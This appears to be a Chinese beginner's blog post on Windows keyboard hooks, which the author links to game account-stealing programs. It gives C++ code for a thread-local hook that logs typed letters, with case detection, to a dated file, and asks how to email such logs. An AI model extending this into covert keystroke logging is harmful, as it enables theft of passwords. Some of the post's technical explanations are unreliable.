初学钩子方面的知识,回想到一些游戏盗号的程序也是这个原理,觉得有必要好好了解一下。
代码段是我找了一个基本的局部键盘钩子之后修改了一下,由于我发现得到的键盘码都是大写的,那么怎么判断用户输入的究竟是大写还是小写呢?
我们通过判断shift键和大写锁定键这两个键的状态来确定输入的是大写还是小写,用到的函数是GetKeyState和GetAsyncKeyState,判断CapsLock只能用前者,判断Shift只能用后者,GetAsyncKeyState在按下某键的同时调用,判断正在按下某键。GetKeyState则在按过某键之后再调用,它返回最近的键盘消息从线程的队列中移出时的键盘状态,判断刚按过了某键(请自行思考脉冲信号)。这两个键对应的虚拟键值是VK_SHIFT和VK_CAPITAL
使用GetKeyState获得返回值后,我们发现,当capslock按下时,返回-127,对应二进制是1111111100000001,没按下时返回0
shift键则是按下时为1,对应二进制 1000 0000 0000 0001,没按下时返回0
按照MSDN上面的说明
高位为1时为按下状态,地位为1时为触发状态(典型例子就是capslock键),至于二进制为什么表示成那样我想应该是经过了补码的转换,总的来说是这样:
capslock未按,shift未按--->小写
capslock未按,shift按下--->大写
capslock按下,shift未按--->大写
capslock按下,shift按下--->小写
我们可以用两个BOOL类型的变量来保存他们是否按下,然后将这两个变量进行异或操作,便可以知道现在是应该捕获大写还是小写了。
代码如下:
HHOOK g_hKeyboard = NULL; BOOL g_bCapsLock = FALSE; BOOL g_bShift = FALSE; short i; LRESULT CALLBACK MouseProc( int nCode, // hook code WPARAM wParam, // message identifier LPARAM lParam // mouse coordinates ) { return 1; } void SaveLog(char* c) { CTime tm=CTime::GetCurrentTime(); CString name; name.Format( "d://Key_%d_%d.log ",tm.GetMonth(),tm.GetDay()); CFile file; if(!file.Open(name,CFile::modeReadWrite)) { file.Open(name,CFile::modeCreate|CFile::modeReadWrite); } file.SeekToEnd(); file.Write(c,1); file.Close(); } LRESULT CALLBACK KeyboardProc( int code, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ) { if(!GetKeyState(VK_CAPITAL))// && wParam != 20) //如果大写锁定键未被按下 { g_bCapsLock = FALSE; } else { g_bCapsLock = TRUE; } if(GetAsyncKeyState(VK_LSHIFT)& 0x8000) { g_bShift = TRUE; } else { g_bShift = FALSE; } if(code==HC_ACTION) { if(lParam & 0x80000000) //如果一个键被按下 { char c[1]; if(wParam >= 65 && wParam <= 90) //如果输入的是26个字母 { BOOL flag = g_bCapsLock^g_bShift; if(flag) { c[0]=wParam; } else { c[0]=wParam+32; } SaveLog(c); } } } return CallNextHookEx(g_hKeyboard,code,wParam,lParam); }
接下来在你的主函数里调用g_hKeyboard = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,GetCurrentThreadId());
注:逻辑有些混乱,bug是难免滴,我真是不求甚解,鄙视自己一个
但是好歹功能还是没有错误的。。。
提出两个问题:
1、if(lParam & 0x80000000)为什么这一行代码不注释起来读取到的全局变量总是0?
2、vc中怎样实现发送邮件呢?之前我写了一个java的发送邮件的程序,不知道用C++怎么实现(socket通信才是王道哇咔咔)